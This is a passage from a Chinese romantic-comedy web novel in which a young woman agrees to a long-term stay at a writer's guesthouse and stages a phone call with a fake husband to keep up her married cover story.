门廊的灯光幽暗,还环绕着几只趋光的蚊虫。闻知屿置若罔闻,眯着眼看她,“那你呢?” 韩暑纳闷,“我什么?” 闻知屿问:“你原谅我了吗?” 他问的郑重其事,神情也很认真。 韩暑发现自己的脸颊颈侧都有点发烫,指尖也不受控制地蜷缩。半晌,才点点头,小声答:“原谅你了。” 闻知屿这下满意了,提着箱子进门。 韩暑看着他的背影哭笑不得。两人就好像幼儿园闹别扭的小朋友,说一句“原谅你”就像那会的手拉手,作为判断是否和好的标志。 再次入住民宿,无需闻知屿多费口舌,韩暑自觉找到拖鞋换好,自觉拖着行李箱去了属于她的房间。 推开门,韩暑冲楼梯喊了一句“晚安。” 刚走到一二层之间的闻知屿驻足,回了一句“晚安。” 身心俱疲的韩暑冲了个澡,栽进熟悉的大床上,没一会就陷入了深度睡眠。 正上方,书房,闻知屿带上眼镜正要工作,忽然想起了什么,从口袋掏出手机给秦建翎回了过去。 那边又是劈头盖脸地质问:“车呢?提了没?” 闻知屿又取掉了眼镜,用眼镜腿挠了挠眉峰,“还没。今天有点事,明天吧。” 秦建翎奇怪道:“有点事?什么事?” “说来话长。”闻知屿轻咳一声*,“简而言之,现在民宿又住了一位住客。” “奥哟,怎么样?回答问题了没——你说有事,不会又报警了吧!” “……不是,住客还是之前那位。” 秦建翎陷入了漫长的沉默。 闻知屿等了半天没听到声,看了眼屏幕,秒钟还在跳动,“听见没?” “听见了。”秦建翎干巴巴道,“只是……不知道该不该多问这一句。” 闻知屿直觉这人又开始在脑海里瞎胡编了,比如怀疑他对有夫之妇心怀不轨情愿为爱做三,立刻说:“问。” 快问。 快给他一个自证清白的机会。 得到应允,秦建翎深吸一口气,“咱民宿入住时长不能超过七天是你定的规矩。我想问问闻老师,这个七天是总共不能超过七天,还是单次不能超过七天?有没有可能——七天复七天?” 第22章 第22章【VIP】 “停止动作,请回答第一个问题。” 韩暑还握着门把手,正要出房间,便听到了恶魔低语。 她刚抬起的脚又放下,“问。” 闻知屿缓步从楼梯下来,米白色居家服依旧是松垮地挂在肩上,显得慵懒又瘦削。慢悠悠溜到客房门口,他垂着眸,一个劲盯着地板,好半天没说话。 韩暑也低头,只看到了自己晒成两截色的脚丫,“要问什么?” 闻知屿还是不说话。僵持了约莫几十秒后忽然勾唇,轻笑了一声。 韩暑:? 什么鬼? 闻知屿视线上移,慢吞吞地问:“你刚才先迈的是左脚还是右脚?” “……啊?”韩暑张大了嘴巴。 “认真一点。” “这——” “这是第一个问题,很重要。”闻知屿一脸严肃,语气也沉了下来,“想好再答。” 房东收租,房客配合。即使离谱即使不理解,也要配合。 韩暑认真思考后后抬起左腿,“左——” 声音和动作一并戛然而止。 怎么感觉有点别扭? 不对不对,应该不是左腿。 于是她又抬起右腿,“右——” 声音和动作再次戛然而止。 怎么还是有点别扭? 怎么好像也不是右腿? 韩暑目视前方眼神放空完全静止。 左还是右?是左还是右?到底是左还是右! 那一段记忆就像是安不回发囊里的脱发似的,彻底离她远去了。她失忆了,迷茫了,站在房门内侧一步的位置,不知道究竟该以怎样的姿势出门了。 “你刚才从楼梯下来没看到——”韩暑捕捉到了男人眼中的笑意,虽然对上眼的瞬间就消失的无影无踪,但她绝对没有眼花。他就是笑了。 闻知屿摇摇头,“没看到。” 韩暑咪眼,心生警惕,“你是不是故意整我?” “怎么会?”闻知屿正色,“仔细回忆,答案对我很重要。” 说罢,他故作深沉,双手抄兜往餐厅走去。可还没等到转过身,颧骨已经极速起飞了。 “你就是故意的!!!” 在怒吼中,男人的背影迅速消失在了拐角。她抬步想追,忽然不知道自己该迈左脚还是右脚。 韩暑:…… 有毒,这个问题有毒。 为了将这一侵蚀思维的破问题抛之脑后,韩暑立定跳远蹦出门,一路小跑追去餐厅。 闻知屿已经在餐桌边安然坐定,面前摆着他的预制富人早餐。 可恨! 她抬起拇指食指当作枪手枪,指甲盖作为枪筒,用一只眼睛认真瞄准那可恨的后脑瓜。 一步,两步。她以职业杀手的专业素养悄无声息地靠近,与此同时想象自己在狂扣扳机。意识流报复了几下,她正要满意收手—— 闻知屿回头。 食指指甲盖精准抵住男人的眉心。 闻知屿:…… 韩暑:…… “开了几枪?”闻知屿眼珠子动了动,咸咸道。 “……”韩暑赶紧左手捂右手,滴溜溜地跑了。 又是简易三明治和水果的搭配,韩暑直接上手捏着面包,一咬就是一大口。 口腹之欲得到满足,心情也好了,她瞄了眼捏对面那位,发现他今天心情似乎也不错。虽然眼下的乌青依旧瞩目,但眼里并无烦闷或疲态,唇角也始终微微上扬。 “写得很顺利?”她问。 闻知屿瞥她一眼,“不顺利,没写。” 韩暑眨巴眼睛,“没写?” “嗯。” 真是哪壶不开提哪壶。韩暑有点尴尬地撇了下嘴,嘟囔道:“我看你心情不错,还以为你文思泉涌了。” 闻知屿扎圣女果的手一顿,将叉子垂直于桌边架于盘沿,“我、心情不错?” 韩暑懵懵然,“我看你今天笑眯眯的,还有闲心跟我开玩笑。难道不是吗?” 心情不错? 笑眯眯的? 有吗? 闻知屿闭眼,记忆闪回。 秦建翎因为临时有工作走得仓促,昨晚总多嘴地问些有的没的,还揪着七天不放,“你老实说,是不是不想让她走?” 闻知屿无语,“我是看她流落街头,这才把条件放宽了一点点。” “一点点会变成一点?会不会变成很多?会不会答应人家长租了!” “……” 秦建翎警告,“已婚女性长租,小心人家丈夫找上门!” “……” 闻知屿吧唧就挂了电话。 然后呢? 然后他带上眼镜,打开电脑,敲一个字删一个字,敲十个字删十个字,是空白。 再然后,他又做了同一个梦,同样在满头冷汗中惊醒。 按理来说心情应该很烂,想才对,为什么会笑眯眯? 闻知屿倏然睁眼,两只手沿着下颌哆哆嗦嗦地往上摸,一路摸到嘴边——嘴角真的有点上翘!再哆哆嗦嗦往上摸——今天的颧骨怎么格外突出? 晚、前前一晚、前前前一晚复制粘贴,但为什么前、前前、前前前天心情都很烂? 闻知屿哆哆嗦嗦地放下手。 对面,蘑菇脑袋张大嘴巴,啊呜一角,咀嚼时腮帮鼓了又鼓,像一只抱着板栗啃的小松鼠。 控制变量法。 前一天,他的家里多了三只猫。 前前一天,他的家里少了一个人、两只壁虎和三只猫。 前前前一天,他知道了自己家里即将少一个人。 而今天,今天—— 闻知屿难以置信地睁大眼睛,直勾勾地盯着韩暑。追本溯源,她是他一成不变的生活里,唯一的变量。 难道—— 闻知屿推开面前的碗碟,吧嗒一下趴在桌上,将脸埋在双臂之间,然后静止了。 韩暑:? 又犯什么神经? 不管,懒得管, 韩暑喝掉牛奶,抽过纸巾擦嘴,整理好碗筷,准备端去厨房清洗。然而对面那位还是不动。 她半站起来,坐下,又半站,又坐下。 要不还是管一管吧? 她敲敲餐桌,“哎!你怎么了?” 闻知屿先是在臂窝摇了摇头,随后闷闷地说:“烦。” 韩暑心说林黛玉都没这么多愁善感,但念在寄人篱下的恩情,耐着性子又问:“你烦什么?” 闻知屿有问必答,“烦你。” 韩暑:……? 她挠头,“那——我走?留你一个人继续烦着?” 闻知屿弹射坐起,额发因为方才的一通操作乱七八糟地飞翘,为俊脸添了几分傻气。他喉结滚动了下,“七天之后,你怎么计划?” 韩暑捋了根掉落的发丝,在指间绕着玩,“我准备面一下义工,如果能通过的话就搬过去。” “想当义工顺便学冲浪?” “是啊。” “不通过呢?” “还不知道。” “你打算在琼岛旅居多长时间?” “也不知道。”韩暑纳闷,“你问这干什么?” 闻知屿喉结又滚动了下,“我有一项提议,你先听,听完再做决定。可以拒绝。” 韩暑更莫名其妙了,“你说。” 闻知屿深吸了口气,双肘支于桌面双手交叠,“长租,还是回答问题抵房费。” 韩暑眼睛睁得呴大,“长租?不是不能超过七天——” “先听我说。”闻知屿轻抬手制止,“往返后海我送你,替你省去交通费,条件是时间延长,除了睡觉时间外随时回答问题。” 韩暑蹙眉思考了一番,怎么想都觉得他亏了,于是试探道:“是不是空闲时间还要陪你玩游戏?” “不强制。”闻知屿顿了顿,“当然,在你心情好、有空闲、且没有其他更想做的事情的时候,玩一下更好。” “嘶!”韩暑捏着下巴,左想右想,百思不得其解,“又是免费入住又是免费接送,你到底图什么呢?” “图你的脑瓜子。”闻知屿眉梢微挑,轻咳了一声,“也图——我心情好、笑眯眯。” 韩暑疑惑地皱了脸,“……啊?” 闻知屿问:“你觉得怎么样?” “我觉得……” 条件优越,不花钱,还有专车接送,挑不出任何毛病。但他为什么忽然改变主意呢? 韩暑想不通。 闻知屿拇指捏食指关节发出脆响,又问:“如何?” 韩暑如实道:“我觉得挺好。但是——” “啪!” 闻知屿一拍桌子,“就这么说定了!” ——但是她还想再考虑一下。 韩暑:…… 闻知屿方才还拧得死紧的眉宇漾开,“其他条件不变,除了入住时长以外还是参照入住手册。” “不过——” “我今天去提车,以后开车送你。” ——不过天天摩托往返是不是太麻烦了。 韩暑:…… “这是不是——” 闻知屿用力一点头,“那就这样。” “……” 韩暑哑然。 要这么隆重吗?怎么感觉签了什么为奴为婢的卖身契? 她对闻知屿的突发奇想感到费解,在费解中却并不排斥这项提议。但不排斥只是前提条件,长住在这里要考虑太多问题。 至于房东问题先生——确实很奇怪,但奇怪得有点可爱。 瞬间,韩暑鸡皮疙瘩起来了。 她在想什么?什么可爱?可爱个鬼! 她甩甩头,正要继续商讨一下再做决定,却见闻知屿原本舒展的面部表情拧巴了,“你又怎么了?后悔了?” “还有一个重要条件。”闻知屿指韩暑放在一边的手机,“我需要你当着我的面,打个电话。” 韩暑跟不上他的脑回路,又是一脸茫然,“啊?打给谁?” “你同意住在这里是你的自由,谁都不能干涉。但作为已婚人群,和异性长期住在同一屋檐下,另一半还是有知情权的。”闻知屿认真道,“所以需要你当着我的面向丈夫说明具体情况。我、要守住我清白的名声。” 第23章 第23章【VIP】 丈夫,那位并不存在的丈夫。 韩暑舔了下唇,又吞咽了一下,以此缓解心虚。 怎么办怎么办?要露馅了吗?如果他知道自己并非已婚已育不符合入住条件,怕是会直接把她赶出去吧! “我并非窥探隐私,只是避免出现不必要的误会。只要你丈夫知情且无异议就好,”闻知屿迟疑,“这个要求——过分吗?” “不过分不过分。”韩暑讪笑,“理解理解。” 闻知屿明显松了口气,又有胃口了,便伸手把碗碟拉回来。 手腕在眼皮子下一晃而过,韩暑无意瞥见了几道红痕,正要细看,那节腕骨又掩于回落的衣袖之下。 “你胳膊怎么了?” “嗯?”闻知屿翻过腕,瞅了眼,这才想起来,“被猫抓的。” “大咪?” “不然呢?” 在椅子和地板摩擦的刺耳声响中,韩暑猛地站起来,急火火地绕过餐桌,“抓烂了?严重吗?我看看我看看!” 闻知屿用两只眼睛打出两个问号,还没来得及用语言表达疑惑,袖口便被抹到了手肘,露出了纵横交错的深红创口。 “啊呀!这么严重!”韩暑夸张地惊呼出声,“疼不疼?怎么回事?” “我抓猫,猫反抗。”闻知屿虽不理解但还是乖乖作答,“疼,现在不——” 韩暑一把薅走他手里的叉子,拽住衣袖,“快来快来,我给你上药。这是夏天,伤口不处理就发炎了!你看有的地方已经发炎了,要是在不处理可能就化脓了……” 闻知屿被拉着走,眼前是着急忙慌的蘑菇脑袋,耳边是蘑菇脑袋的絮絮叨叨,心里害怕极了。 她在关心他?她为什么这么关心他? 好奇怪哦。 “坐坐坐。”韩暑把他摁在沙发上,轻车熟路的拉开边柜的抽屉,找出碘酒棉签——之前她用的那瓶,“我给你消消毒。” “不用——嘶!”沾足药水的棉签糊了上来,闻知屿想躲却没躲开。 “你看,疼吧!”韩暑语重心长,“你忍忍,抹点药好得快!” “……”闻知屿蹙眉。 如今,他已经不会再自以为是认为她在占便宜了,何况她很有分寸地避开了肢体接触,但是!这种被关心的感觉好奇怪! 韩暑见他不再反抗也不再说话,唇边露出得逞的笑容。 ——给她的丈夫打电话,到哪打打给谁? 不如先打个岔糊弄过去,之后再想办法。 她坐在闻知屿旁边,一手提着他的衣袖,沿着抓痕一点点涂抹。他本就白得不像话,因此那纵横交错的痕迹愈发可怖。显然,经历了一场鏖战。 韩暑心里有点不是滋味。 这人……要说有爱心,他那么讨厌动物,小狗想嗅闻一下他都能一蹦三尺高避开,冷血得不得了。要说冷血,他竟然这么认真的去捉猫,被抓得血呼啦次也不放弃。 韩暑叹了口气,涂药的动作更轻柔了些。 闻知屿吸了一口气,憋住了。 碘伏渗入皮肤按说是刺痛的,可他莫名觉得心痒。棉签游走的动线、被他人掌控的袖口蹭过皮肤的触感,似乎都连着一根看不见的羽毛,随着她的一举一动扫过他的心脏。 他想将手伸进胸膛,或者撕破这根羽毛,以此缓解此刻的坐立难安。他浑身肌肉都在不自觉用力,忍了又忍,终于在一股陌生的气息喷洒在手肘处时忍不下去了。 “我来吧。”闻知屿的嗓音古怪又沙哑。 韩暑大手一挥,“这都是大咪干的,我负责。你千万别客气。” “……”闻知屿喉结滚动,“我自己来吧。” “你一只手给另一只手涂不方便,有些地方够不到,我来我来!” 闻知屿攥拳,又松开,“还是我来吧,有这个时间,刚好给你丈夫打个电话。” “……”韩暑手一僵。 羽毛飘走了。 闻知屿夺过棉签和碘酒,拧刺拧刺地挪到沙发另一头,挽起另一只衣袖开始涂药,不给韩暑再插手的机会。 “打吧,我不说话。” “……” 韩暑想骂人。 闻知屿等了一阵没见动静,向右望过去,发现她鼓着腮帮攥着手,一副气呼呼的模样,“怎么?” “……不怎么。”韩暑缩着脖子,谎话张口就来,“我老、老公周六加班,这会打不了。” ,扔掉面前合上碘酒,“那等今晚吧。” “……哦。” 逃不掉, 韩暑摸出手机,偷瞄闻后,给凌琳发消息。 【无敌强壮卷心菜:江一个老公!!!】 “今天什么安排?” 韩暑吓得手机险些掉了,“啊、啊?” 闻知屿在她面前站定,视线逡巡,“你今天很奇怪。” “有吗?”韩暑扯出一个笑容,“我这不是在思考要不要接受你的提议吗?” “不是说定了吗?” “……”韩暑无语,“你给我说话的机会了吗?” 闻知屿眨眼,回忆了一番——好像确实是他太过激进,“好吧。那你有什么顾虑吗?请畅所欲言。” “有啊。”韩暑想了想,“从我入住开始,你一直说没灵感一个字没写。” 听起来像是江郎才尽。闻知屿只觉双膝中了一剑,险些因为心痛跪下,“我是否写东西和你是否入住,有什么关系?” “有啊。”韩暑频频点头,“你文思泉涌,我的回答才有意义。不然感觉我提供的价值和你提供这间民宿的价值不匹配。” 闻言,闻知屿愣怔,旋即轻笑了一声,“你之前说,你丈夫不喜欢你跳脱的思维和性格。” “我哪里跳脱了?我从小到大都很正常的!”韩暑负隅顽抗兀自嘟嘟囔囔,然后兀自承认,“昂,不喜欢。” “那他真是有眼无珠。”闻知屿淡声道。 韩暑倒吸一口气,倏然抬眸。 男人还是双手抄兜,冷冷淡淡的模样,但幽暗的眼底毫无玩笑之意。他是认真的。 “我见过的人不多,但也不少。至少在我的已知范围内,你是一个非常特别的人。”闻知屿顿了顿,“或许对你来说只是随口说出的答案,但对我来说,价值远超于客房的租金和开车往返耗费的精力。在这项交易中,我并没有吃亏,而是大赚特赚。所以你不必替我操心。” 他颔首,向餐厅走去,然而刚走两步又转了回来,“还有,我只是换了新题材不太适应,不是写不出来。嗯。” 说罢,这才傲娇地在餐桌边坐下,继续吃中途被打断的早餐。 韩暑呆在原地,有些恍惚。 她……特别吗? 小时候,她永远是班里最乖的孩子,中等偏上的成绩,老师最省心的类型,也是最泯然众人的类型。既没有调皮但聪明的孩子惹人注目,也没有尖子生的出彩夺目。 工作后,她永远是最踏实努力的员工,任劳任怨对待每一项工作,领导最放心的类型,也是最不需要偏袒的类型。既没有讨众人欢心的口舌,也没有做一分说十分的聪明。 韩暑喃喃自语。 她的思维……特别吗? 小学课间,在作业本背后画的“小花小草环游世界”简笔连环画,被徐英视作上课不听课的证据撕得粉碎。 初中时期,在日记本中夹杂着写的“埃及木乃伊海外展出失踪记”悬疑小说,被徐英视作荒废学业偷懒的表现扔进垃圾桶。 在漫长的成长过程中,她渐渐忘记了那些千奇百怪的想法,失去了想象力,甚至和徐英一样视之为大脑运作过程中产生的无意义垃圾。 ——可如果那些喷涌而出的画面文字灵感不是垃圾,而是珍宝呢? 闻知屿吃完饭折回来,韩暑还坐在沙发一角一动不动。 于是他又问了一次,“今天什么安排?” 韩暑低垂着头,“想去看一下大咪。” 闻知屿发觉蘑菇脑袋看起来闷闷不乐的,有些摸不着头脑,“是我哪里说错了吗?” “嗯?”韩暑淡笑了下,“没有。” 那就好。 闻知屿挠挠眉心,“那……你会开车吗?” “会,怎么了?” “如果方便,能不能和我去提辆车?”闻知屿说,“我不喜欢打车,想骑摩托过去。所以……” 韩暑了然,“需要一个司机?” “对。” 韩暑再次坐在了闻知屿的后座,再次抱住那个红彤彤的登山包。 她打开挡风罩,艰难道:“我就搂一下你的腰又能怎样?至于衬衫西裤背红包吗?” “至于。”闻知屿也打开挡风罩,微微侧首,“这不仅是一个登山包。” “……那还能是什么?” “是我的清白。” 闻知屿啪嗒合上面罩,打火,起步,窜出车库。 韩暑:…… 他的清白。 那她岂不是抱着他的清白? 车速提升,闻知屿的清白却十分牢固地固定在肩背。韩暑不得已,抱得更紧了些。 术后第二天,大咪精神状态更好了,看到韩暑后,走过来走过去猛蹭笼子的栏杆。韩暑心化了,变得又酸又软,甚至不敢多待,生怕忍不住抱起三只咪就跑。 离开宠物医院,韩暑唉声叹气,为如何最快速找到领养家庭而发愁。 她继续抱着闻知屿的清白,琢磨要不要腆着脸,去问问倒霉车主那边是否有好消息。 到了4s店,韩暑兴致缺缺地取掉头盔,正想和闻知屿说在外面等他,却在看到那硕大的标志后改变了主意。 ——竟然是她梦寐以求的品牌!!! 闻知屿锁好摩托,放好头盔,把登山包挂在把手上,立刻从公园里的小丑变身成功人士。 一只脚跨进门,一位年轻男人便迎了上来,“您好,您是想看哪一款车呢?” 闻知屿颔首,“我姓闻,电话预约过。今天提车。” 韩暑瞥了眼销售的胸牌,上面李云。 李云比了个手势,“闻先生,这边请。” 韩暑跟在后头,眼神滴溜溜乱转,不一会就在一众车型中定位到她的梦中情车。 好美!好喜欢!好想拥有! 正当她想找借口溜去近距离观赏,李云指向右手边,“您的车已经备好了。” 韩暑顺着指引,透过玻璃——侧门外停车区,一辆崭新的梦中情车在阳光下熠熠生辉。 “!!!”韩暑瞪大眼睛,“这辆——你的?” “嗯。” 闻知屿走上前,正要拉开驾驶座车门检查一下,一只手却比他更快。 “哇!!!” 韩暑探头进去观赏,摸了下真皮座椅。嗯,是想要拥有却买不起的感觉! 缩回头,她一边摸一边绕车一周。嗯,是超级无敌想要拥有却买不起的感觉! 闻知屿失笑,“喜欢?” “昂!!!”韩暑在车头站定,深情凝视,温柔抚摸,“这可是我的梦中情车!!!” “等会就交给你了。” “好!!!” 李云笑容真挚,本着职业素养夸赞道,“先生真是好眼光,一下就买到了太太的心坎上。” 韩暑大惊,“不是!” 闻知屿扶额,“不是。” 两人反应过于同步,李云的官方笑容凝固,不知道该说什么着补。 在无比尴尬的沉默中,韩暑的手机响了。她比了个手势走到一旁,看到消息后大喜。 【琳宝:才看到。】 【琳宝:我弟在呢,但十分钟后出门!剧本已同步,速度!】 韩暑飞速将AAA凌琳改成老公,然后飞速折回去,“闻知屿闻知屿!” 闻知屿正坐在驾驶座查看仪表盘,被她一把拽了出来,踉跄了几下才站稳,“怎么了?” 韩暑按下拨号,兴奋地说:“我老公这会有时间,我开免提!” 闻知屿总觉得她的态度格外反常,但又找不出毛病,于是点头说好。 “嘟——嘟——嘟——” 盲音后,一个清冽的男声响起,“小暑?” 韩暑清了清嗓子,娇俏地叫了一声,“老公~~~” 一旁装木桩的销售李云眼睛瞪得像铜铃,看看女人,看看男人,又看看女人,又看看男人,最后倒吸一口凉气。 与此同时,闻知屿呼吸变得粗重,拳头攥得死紧,没来由升起一股怒火。 他气呼呼地盯着蘑菇脑袋,恰好看到她因为和丈夫通电话而开心到弯成一道月牙的笑眼。 为什么! 她和她丈夫说话的时候那么温柔那么可爱!明明那男的对她一点都不好,不仅不理解她,连滑板都不让她学!!! 为什么! 她和他说话的时候总是那么凶那么无所谓!明明他那么理解她,不仅负伤帮她捉猫带猫绝育,还给她买了那么多滑板!!! 凭什么!这一点都不公平!!! 第24章 第24章【VIP】 “好,知道了老婆。” 剧本顺利走向尾声,韩暑攥着裤边的手松了些。 她不着痕迹地瞥了眼唯一的观众,发现闻知屿眉头拧出一个川字,后槽牙也咬得死紧。 莫非观众不满意? 韩暑捂住话筒,凑过去小声道:“还有什么要和我老公确认的吗?” 闻知屿用鼻子出气,“没有。” 那怎么一副要创死全世界的狗模样?韩暑大胆推测盲目发言,“或许你想直接和他说吗?” “……”闻知屿觉得今天特别晒,晒得脑瓜子生疼,艰难出声,“不必。” “那满足条件了吗?” “……满足。” 韩暑得到确认,放下心来,重新将手机举到耳边。 “老公,那你先忙……好……嗯,想你……拜拜!” 这一通电话以嗲声嗲气作为结束。 韩暑满意地把手机塞回口袋,不存在的老公自此存在了,感觉腰杆都直了。正要继续欣赏崭新的情车,一转身,撞进一双幽怨的黑眸。 ——闻知屿还是皱着眉,死死盯着她。 像极了怨夫。 韩暑纳闷,“你怎么了?” 闻知屿走进两步,严肃道:“我、不、服。” “哈?”韩暑挠挠头,大脑飞速运转可还是没跟上进度,“什么不服?” 闻知屿微微躬身,直到与她平视为止,“你,双标!” 双标? 韩暑顿悟了,哭笑不得,“你和我老公比什么比!” “你刚才打电话说话又温柔又客气。”闻知屿越想越不爽,激情控诉,“我对你那么好,你和我说话却总是爱答不理,态度不好,凶我,还用枪打我!” 我对你那么好。 韩暑眼睛睁得溜圆。 对你。 那么好。 好像是挺好。 可是、可是他怎么这么直接地说出来了呀! 她嗫嚅,“可他是我老公哇……” 闻知屿说:“可我是现在跟你在同一屋檐下生活的人啊。” 同一屋檐下生活。 生活。 韩暑心说我不是在考虑吗?怎么就确定一起生活了? 自以为是!说得还那么自然! ……可她确实打算长租的。 韩暑吧嗒咬住下嘴唇,气弱道:“有区别吗?我觉得还好啊……” 闻知屿不自觉将双手举到下颌边,夹住嗓音,“老~公~” 韩暑:…… 然后,闻知屿恶狠狠道:“闻知屿!” 韩暑:…… 最后,闻知屿两手一摊,“双标。” 韩暑:…… 小学鸡。 能不能把小学鸡关进幼儿园里。 半晌,韩暑学着他的样子,将双手举到腮帮,“闻~知~屿~这个语气您可还满意~” 闻知屿愣怔,回过神后掉头就走了,步伐飞快。 至于这么嫌弃吗? 韩暑撇嘴,冲他的背影继续说:“这可是~你要求的哦~~~” 闻知屿忘了门口有一节台阶,脚下一空,踉跄着扑进店里办手续。 韩暑悻悻地收回目光,也收起玩笑的心思,腆着脸给倒霉车主发信息。 步入室内,空调正不知疲倦地运作。闻知屿却用手掌扇风,感觉热得不得了,从耳朵到颈侧都在燃烧。 李云很有眼色地送上宣传扇一把,然后继续处理手续,紧紧闭住嘴,一句多余的话都不敢说。 闻知屿道谢,接过来继续狂扇,依旧没能遏制住逐级飙升的体温。 蘑菇脑袋在故意恶心他,他知道。 可他怎么一点都不觉得恶心呢? 李云递上一踏资料,“您在这里签字。” 闻知屿龙飞凤舞,在写到屿的右半部分时,笔尖却是急刹,留下一个突兀的墨点,破坏了这刚劲有力的字迹。 方才韩暑举着手缩着脖子,嗲声嗲气地喊他闻知屿。 闻知屿。 闻知屿薄唇浮现一抹若有似无的笑意。 离开时,韩暑喜滋滋并小心翼翼地驾驶新车,闻知屿骑着摩托跟在后头。 “二位慢走。”李云和门卫打了招呼后双手交叠,微微倾身,就差说一句恭送皇上起驾。 见他大热天如此敬业,韩暑放下一半车窗,“谢谢您啊!” 李云摆手,笑容依旧僵硬。 一直到他的身影于后视镜彻底消失,韩暑还是觉得哪里不对。 这人看她的眼神怎么那么……敬佩? 但这些都不重要! 出门调头后等左转红灯,韩暑摩挲着方向盘,喃喃自语,“小蓝,你怎么这么美丽啊小蓝!内外兼修,人美心——” 看,“变态。” “你才变态。”韩暑飞去一记眼刀,正要激情输出维护小蓝,摩托车红的车尾灯。 “……”她起步跟上,一边合上窗一边说,“别听小蓝,是恶评。” 倒车入库, 闻知屿等了半天不见人下来,上前敲了敲窗。韩暑从内解锁,拉开车门,一副意犹未尽的模样。 ,以后往返后海你来开。” “可以吗可以吗?”韩暑眼睛锃亮,觉得颇为可行,“如果可以的话,你都不用往返接送我了,车借我就行。” 闻知屿:??? “不可以。”他说。 韩暑眼里的光消失了,取而代之的是浓浓的失望,“那你刚才——” “刚才开玩笑的。”闻知屿心虚地收回视线,手揣兜,酷酷往里走。 韩暑跟上,在心里和小蓝说了一声再见,然后冲闻知屿的后脑勺隔空猛挥一拳—— 闻知屿背后长眼睛似的,扭过头的瞬间恰好捕捉到呼啸而来的拳风。他眼都不眨,“第二个问题。” 韩暑赶紧收拳,双手背后,陪笑道:“请问。” “你刚才下车,先迈左脚还是右脚?” 韩暑:…… “滚蛋!” 眼看没骗到她,闻知屿只得意犹未尽地收手。 韩暑跟在后头,总觉得前面这人一肚子坏水,又在琢磨怎么整她。 于是,从车库绕至前院,韩暑瞅准时机,“闻~知~屿~” 又是台阶,闻知屿又是一滑,试图驯服失控的腿脚,身体前倾扑向前方,一直到脸贴防盗门才停。 “哈哈哈哈哈!”韩暑毫不客气地笑出声,“这可是你要求的,你怎么还这么反感?” 闻知屿的脸上浮现一丝尴尬。他稳住身形,按下指纹解锁,“谁说我反感?” 韩暑也跟上台阶,“那你反应这么大?” 闻知屿微微侧首,“嗯,喜欢。以后都这样说话。” 男人的背影一闪后消失。 韩暑石化。 喜欢? 喜欢什么? 喜欢她装绿茶? Yue! 韩暑一脸嫌弃地进屋。竟然是个喜欢绿茶的死直男,没眼光! 大热天奔波了一通后又累又渴,她没回屋,而是给自己找了杯冰饮,一边喝一边瘫在沙发上刷手机。 家族群里,爸爸发了几张游轮海景房的阳台视角,看样子已经顺利登船了。 韩暑发了一个竖大拇指的表情包,很快,那边也回了一个竖大拇指的表情包。 切出界面,依然未收到倒霉车主的回复。 韩暑长叹一口气。这年头给流浪猫找个家,简直比中彩票都难。又要筛查家庭对宠物的态度和养宠物的稳定程度、防止再次弃养,还要预防装领养的虐猫变态。难上加难。 想着想着,韩暑就着葛优瘫的姿势睡着了。 迷迷糊糊间,她做了个梦。 梦里,闻知屿从大大一只变为小小一只,被大咪、二咪、小咪挤在中间,像一只误入猫猫王国的老鼠一样惊恐。 韩暑一边笑一边撺掇大咪舔他脑瓜。泡*菜国流行牛舔发型,这里是猫舔,创新度满分。 大咪虽嫌弃但听话,一舌头一舌头呼了上去。 韩暑满意地点头,找了个板凳准备坐下认真观赏世界名画,结果不小心坐歪了。 失重感来袭,韩暑浑身一抖,惊醒过来。 可惜! 没看到猫舔发型真可惜! 韩暑意犹未尽地抹抹嘴,打算回屋继续睡,一起身便看到单人沙发上,闻知屿顶着湿漉漉的头发抱着笔记本,将键盘敲得噼里啪啦响。 湿漉漉的。 韩暑差点以为梦境照进现实,扑哧笑了。 “茶几上,送你的。”闻知屿头都不抬。 韩暑拿起一看,是一张白纸。翻过来—— 她怒吼:“有病吧你!!!” 这是一张铅笔画。 画面上,韩暑正仰头靠在沙发上,睡得正香。这一部分偏向素描,基本还原。但其他部分! 在她那清秀可爱的面庞上,是一张奇大无比的嘴,很圆,很黑,像火箭炮发射筒一样45度角对准天空。 韩暑倏地攥紧手,纸张发出簌簌的声响。正要发飙,她忽然发现嘴边还画着些什么,凑近仔细看,竟然是一些物品或者象征意的简笔画。 滑板、戒浪的牌子、猫猫、书、疑似梦中情车的形状、钱、一颗爱心,还有一个很大的问号。 它们大小不一、方向不一,像是从血盆大口中喷涌而出,又像是饕餮进食一般吸入。 寥寥几笔,是闻知屿对她的全部了解,也是韩暑对自己的全部了解。那个问号,像极了折磨她已久的、对人生的迷茫和无措。 韩暑慢慢卸力,用拇指抚平纸张的褶皱,“送我了。” 闻知屿这才从屏幕后抬眸,推了下眼镜,“今天是长租的第一天,欢迎入住。” 第25章 第25章【VIP】 韩暑一只脚刚踏进戒浪,春景就迎了上来。 “听小羊说前天晚上你来找过我,实在不好意——”看到韩暑身后的闻知屿,春景舌头差点打结,一转话锋,“二位今天一起上课?” 闻知屿颔首当作打招呼,“没有。” 瞧他一副清冷疏离的态度,韩暑暗道一声人模狗样,却不得不开口替他解释:“他陪我过来,不上课。请问店里有靠近插头的座位吗?” “有啊。”春景带着二人绕过一盆可以称之为树的绿植,“这边。” 韩暑上次来一直在为上课和黑皮男人们紧张,没注意俱乐部内其实别有洞天。绕过吧台侧边的拐角,视线顿时开阔,海景一览无余。 春景指了下最靠窗,“这里。” 闻知屿说了声谢谢,独自走过去坐定,从手提中掏出电脑,然后冲韩暑点头,“在这等你。” 韩暑也点点头,和春景回到吧台后道:“麻烦给他一杯柠檬水,我来一杯拿铁。” 春景的视线在她身上打了个圈飘去身后,笑容意味深长。 面朝海的窗,像是一副挂在墙上的风景画,框住了沁人的蓝,也框住了男人专注的背影。 韩暑警钟大作,摆手的频率堪比磨豆机,“不是不是你千万别误会!” 春景手上布粉的动作不停,“误会什么?” “……”韩暑梗着脖子,“反正我俩什么都没有。” 春景但笑不语。 韩暑忽然想到一个很重要的事情。春景知道她单身,闻知屿又会经常来店里,虽说他那生物勿近的性格也不会主动提及,但万一呢! “内个……实在不好意思,但能拜托你一件事嘛?” 见她小心翼翼的模样,春景放下奶缸,双手撑着吧台,“你说。” 韩暑有些难以启齿,故而压低嗓门,“因为各种原因,我必须在他面前维持已婚已育的人设……拜托替我保密!” “已婚、已育?”春景愕然,“他信了?” “昂。” “……他眼神不好?” 韩暑愣了下,“啊?” 两人大眼瞪小眼片刻,春景笑着摇摇头,“行,绝对保密。” 韩暑放下心来,喝完咖啡后跟着小宇教练下海了。 今天依旧是海上花式摔跤大赏,但因为有心理准备,所以并没有第一节课的崩溃无措,甚至摔完湿淋淋地爬回板上还有心思和教练开玩笑。 “刚才入水的姿势像不像三米跳板?” 小宇扶着板尾,“像三米跳楼。” 